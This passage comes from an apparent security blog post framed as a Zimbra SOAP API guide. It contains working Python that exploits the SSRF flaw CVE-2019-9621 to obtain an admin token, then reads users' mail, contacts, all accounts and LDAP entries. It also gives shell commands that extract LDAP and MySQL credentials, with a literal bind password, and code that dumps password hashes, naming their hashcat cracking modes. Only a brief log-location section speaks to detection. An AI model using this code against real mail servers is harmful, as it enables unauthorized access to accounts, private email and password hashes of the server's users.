admin token by SSRF(CVE-2019-9621)\")\u003Cbr>        s = requests.session()\u003Cbr>        r = s.post(uri+\"\u002Fservice\u002Fproxy?target=https:\u002F\u002F127.0.0.1:7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(xmlns=\"urn:zimbraAdmin\",username=username,password=password),headers=headers,verify=False)\u003Cbr>        if 'authToken' in r.text:\u003Cbr>          admin_token =pattern_auth_token.findall(r.text)[0]\u003Cbr>          print(\"[+] Success for SSRF\")\u003Cbr>          print(\"[+] ADMIN_TOKEN: \"+admin_token)\u003Cbr>          return admin_token\u003Cbr>        else:\u003Cbr>          print(\"[!]\")\u003Cbr>          print(r.text)\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Command Implementation\u003C\u002Fh3>\u003Cp>If administrator token is required, the 'Admin Authorization token required' field for each command in the documentation will be marked, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016183180_2_c4801d283f-1.jpeg\">\u003C\u002Fp>\u003Cp>Here we select several representative commands for introduction\u003C\u002Fp>\u003Ch4>(1) GetFolder\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetFolder.html\u003C\u002Fp>\u003Cp>Used to obtain folder attributes\u003C\u002Fp>\u003Cp>Requires regular user token\u003C\u002Fp>\u003Cp>Python code to enumerate email counts under all folders is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getfolder_request(uri,token):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetfolderrequest xmlns=\"urn:zimbraMail\"> \u003Cbr>         \u003C\u002Fgetfolderrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get folder\")\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(token=token),verify=False,timeout=15)\u003Cbr>      pattern_name = re.compile(r\"name=\\\"(.*?)\\\"\")\u003Cbr>      name = pattern_name.findall(r.text)\u003Cbr>      pattern_size = re.compile(r\" n=\\\"(.*?)\\\"\")\u003Cbr>      size = pattern_size.findall(r.text)      \u003Cbr>      for i in range(len(name)):\u003Cbr>        print(\"[+] Name:%s,Size:%s\"%(name[i],size[i]))\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016184517_3_19663bf631-1.jpeg\">\u003C\u002Fp>\u003Ch4>(2)GetMsg\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetMsg.html\u003C\u002Fp>\u003Cp>Used to read email information\u003C\u002Fp>\u003Cp>Requires regular user token\u003C\u002Fp>\u003Cp>The Python code for viewing a specified email is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getmsg_request(uri,token,id):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetmsgrequest xmlns=\"urn:zimbraMail\"> \u003Cbr>            \u003Cm>\u003Cbr>                \u003Cid>{id}\u003C\u002Fid>\u003Cbr>            \u003C\u002Fm>\u003Cbr>         \u003C\u002Fgetmsgrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get msg\")\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(token=token,id=id),verify=False,timeout=15)\u003Cbr>      print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>These require specifying the Message ID of the email to view, test results as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016185450_4_3697a136b9-1.jpeg\">\u003C\u002Fp>\u003Ch4>(3)GetContacts\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraMail\u002FGetContacts.html\u003C\u002Fp>\u003Cp>Used to read contact list\u003C\u002Fp>\u003Cp>Requires regular user token\u003C\u002Fp>\u003Cp>Python implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getcontacts_request(uri,token,email):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetcontactsrequest xmlns=\"urn:zimbraMail\">\u003Cbr>            \u003Ca n=\"email\">{email}\u003C\u002Fa>\u003Cbr>         \u003C\u002Fgetcontactsrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get contacts\")\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(token=token,email=email),verify=False,timeout=15)\u003Cbr>      pattern_data = re.compile(r\"\u003Csoap:body>(.*?)\u003C\u002Fsoap:body>\")\u003Cbr>      data = pattern_data.findall(r.text)\u003Cbr>      print(data[0])\u003Cbr>      \u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016186476_5_933e9d19bc-1.jpeg\">\u003C\u002Fp>\u003Ch4>(4)GetAllAccounts\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAdmin\u002FGetAllAccounts.html\u003C\u002Fp>\u003Cp>Used to obtain information of all users\u003C\u002Fp>\u003Cp>Requires administrator token\u003C\u002Fp>\u003Cp>Python implementation code to obtain all user lists and output usernames with corresponding IDs is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getallaccounts_request(uri,token):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetallaccountsrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>         \u003C\u002Fgetallaccountsrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get all accounts\")\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(token=token),verify=False,timeout=15)\u003Cbr>      pattern_name = re.compile(r\"name=\\\"(.*?)\\\"\")\u003Cbr>      name = pattern_name.findall(r.text)\u003Cbr>      pattern_accountId = re.compile(r\"id=\\\"(.*?)\\\"\")\u003Cbr>      accountId = pattern_accountId.findall(r.text)\u003Cbr>      \u003Cbr>      for i in range(len(name)):\u003Cbr>        print(\"[+] Name:%s,Id:%s\"%(name[i],accountId[i]))\u003Cbr>\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016186821_6_e1bebef5a6-1.jpeg\">\u003C\u002Fp>\u003Ch4>(5)GetLDAPEntries\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAdmin\u002FGetLDAPEntries.html\u003C\u002Fp>\u003Cp>Used to retrieve LDAP search results\u003C\u002Fp>\u003Cp>Requires administrator token\u003C\u002Fp>\u003Cp>Python code for implementing LDAP query is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getldapentries_request(uri,token,query,ldapSearchBase):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetldapentriesrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>            \u003Cquery>{query}\u003C\u002Fquery>\u003Cbr>            \u003Cldapsearchbase>{ldapSearchBase}\u003C\u002Fldapsearchbase>\u003Cbr>         \u003C\u002Fgetldapentriesrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get LDAP Entries of %s\"%(query))\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)\u003Cbr>      print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here we need to first understand the usage of Zimbra OpenLDAP to clarify the format of the parameters query and ldapSearchBase\u003C\u002Fp>\u003Cp>Test the following commands on the Zimbra server:\u003C\u002Fp>\u003Cp>1. Obtain the username and password for connecting to the LDAP server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>su zimbra\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fzmlocalconfig -s |grep zimbra_ldap\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016187225_7_26fa472c08-1.jpeg\">\u003C\u002Fp>\u003Cp>2. Connect to the LDAP server using the obtained username and password, output all results:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016187653_8_c76fa3fd4f-1.jpeg\">\u003C\u002Fp>\u003Cp>3. Add filter conditions to display only the user list:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 \"(&amp;(objectClass=zimbraAccount))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Or\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b \"ou=people,dc=zimbra,dc=com\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016188327_9_d624511462-1.jpeg\">\u003C\u002Fp>\u003Cp>Note that the userPassword field contains the hash of the user's password\u003C\u002Fp>\u003Cp>4. Add further filter conditions to display only usernames and corresponding hashes:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 \"(&amp;(objectClass=zimbraAccount))\" mail userPassword\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016188772_10_325d976b03-1.jpeg\">\u003C\u002Fp>\u003Cp>The first 12 bytes of the exported hash are the fixed characters e1NTSEE1MTJ9, which after base64 decoding reveal the content {SSHA512}, followed by the SHA-512 encrypted characters, corresponding to Hash-Mode 1700 in hashcat\u003C\u002Fp>\u003Ch4>Supplement 1: Other ldap commands\u003C\u002Fh4>\u003Cp>Query zimbra configuration information:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b \"cn=config,cn=zimbra\"\u003Cbr>\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b \"cn=cos,cn=zimbra\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Query zimbra server configuration information:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b `\"cn=servers,cn=zimbra\"`\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Including the following content:\u003C\u002Fp>\u003Cul>\u003Cli>zimbraSshPublicKey\u003C\u002Fli>\u003Cli>zimbraMemcachedClientServerList\u003C\u002Fli>\u003Cli>zimbraSSLCertificate\u003C\u002Fli>\u003Cli>zimbraSSLPrivateKey\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>Supplement 2: Operations for connecting to the MySQL database\u003C\u002Fh4>\u003Cp>1. Obtain the username and password for connecting to the MySQL database:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>su zimbra\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fzmlocalconfig -s | grep mysql\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016189161_11_39b98fff86-1.jpeg\">\u003C\u002Fp>\u003Cp>2. Connect to MySQL database:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fmysql -h 127.0.0.1 -u root -P 7306 -p\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>3. View all databases:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>show databases;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016189554_12_7877b40146-1.jpeg\">\u003C\u002Fp>\u003Cp>In summary, to query all user information, the query value can be set to \"cn=*\", and the ldapSearchBase value can be set to \"ou=people,dc=zimbra,dc=com\"\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The ldapSearchBase value varies across different environments and is typically consistent with the domain name\u003C\u002Fp>\u003Cp>Python code to obtain user names and corresponding hashes via LDAP query is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getalluserhash(uri,token,query,ldapSearchBase):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetldapentriesrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>            \u003Cquery>{query}\u003C\u002Fquery>\u003Cbr>            \u003Cldapsearchbase>{ldapSearchBase}\u003C\u002Fldapsearchbase>\u003Cbr>         \u003C\u002Fgetldapentriesrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get all users' hash\")\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)\u003Cbr>      if 'userPassword' in r.text:\u003Cbr>        pattern_data = re.compile(r\"userPass(.*?)objectClass\")\u003Cbr>        data = pattern_data.findall(r.text)\u003Cbr>        for i in range(len(data)):\u003Cbr>          pattern_user = re.compile(r\"mail\\\"&gt;(.*?)&lt;\")\u003Cbr>          user = pattern_user.findall(data[i])\u003Cbr>          pattern_password = re.compile(r\"word\\\"&gt;(.*?)&lt;\")\u003Cbr>          password = pattern_password.findall(data[i])\u003Cbr>          print(\"[+] User:%s\"%(user[0]))\u003Cbr>          print(\"    Hash:%s\"%(password[0]))\u003Cbr>\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The test results are shown in the following figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016189846_13_b584671a3a-1.jpeg\">\u003C\u002Fp>\u003Cp>The exported hash corresponds to Hash-Mode 1711 in hashcat\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Newer versions of Zimbra cannot read the hash, displaying VALUE-BLOCKED, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016189967_14_b46b33e2b8-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x05 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The code has been open-sourced at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports three connection methods:\u003C\u002Fp>\u003Cul>\u003Cli>Regular user token\u003C\u002Fli>\u003Cli>Administrator token\u003C\u002Fli>\u003Cli>SSRF (CVE-2019-9621)\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Supported commands will be displayed after successful connection\u003C\u002Fp>\u003Cp>Commands supported by regular user token are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>GetAllAddressLists\u003Cbr>GetContacts\u003Cbr>GetFolder\u003Cbr>GetItem, e.g., GetItem \u002FInbox\u003Cbr>GetMsg, e.g., GetMsg 259\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Partial test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016190088_15_d37018eb81-1.jpeg\">\u003C\u002Fp>\u003Cp>Commands supported by administrator token are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>GetAllDomains\u003Cbr>GetAllMailboxes\u003Cbr>GetAllAccounts\u003Cbr>GetAllAdminAccounts\u003Cbr>GetMemcachedClientConfig\u003Cbr>GetLDAPEntries, Eg: GetLDAPEntries cn=* dc=zimbra,dc=com\u003Cbr>getalluserhash, Eg: getalluserhash dc=zimbra,dc=com\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Partial test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016190240_16_b4043bdb28-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Log Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The login log location is \u002Fopt\u002Fzimbra\u002Flog\u002Fmailbox.log\u003C\u002Fp>\u003Cp>For other types of mail logs, refer to https:\u002F\u002Fwiki.zimbra.com\u002Fwiki\u002FLog_Files\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article briefly tested the Python-Zimbra library, manually constructed data packets according to the API documentation's data format, achieved calls to the Zimbra SOAP API, open-sourced the code Zimbra_SOAP_API_Manage, shared details of script development to facilitate subsequent secondary development\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",451,"Onedaysec",9,"published","2026-02-02T07:25:19.986Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Zimbra SOAP API Development Guide: Python Integration & Testing","Zimbra SOAP API, Python-Zimbra, email server development, API integration, admin authentication",null,false,[],{"docs":43,"hasNextPage":40},[44,4,45,46],1010,1008,1007,{"title":39,"description":39,"image":39},"2026-07-24T15:37:10.241Z","2026-07-23T16:02:25.113Z","draft","2026-07-23T16:16:06.338Z"]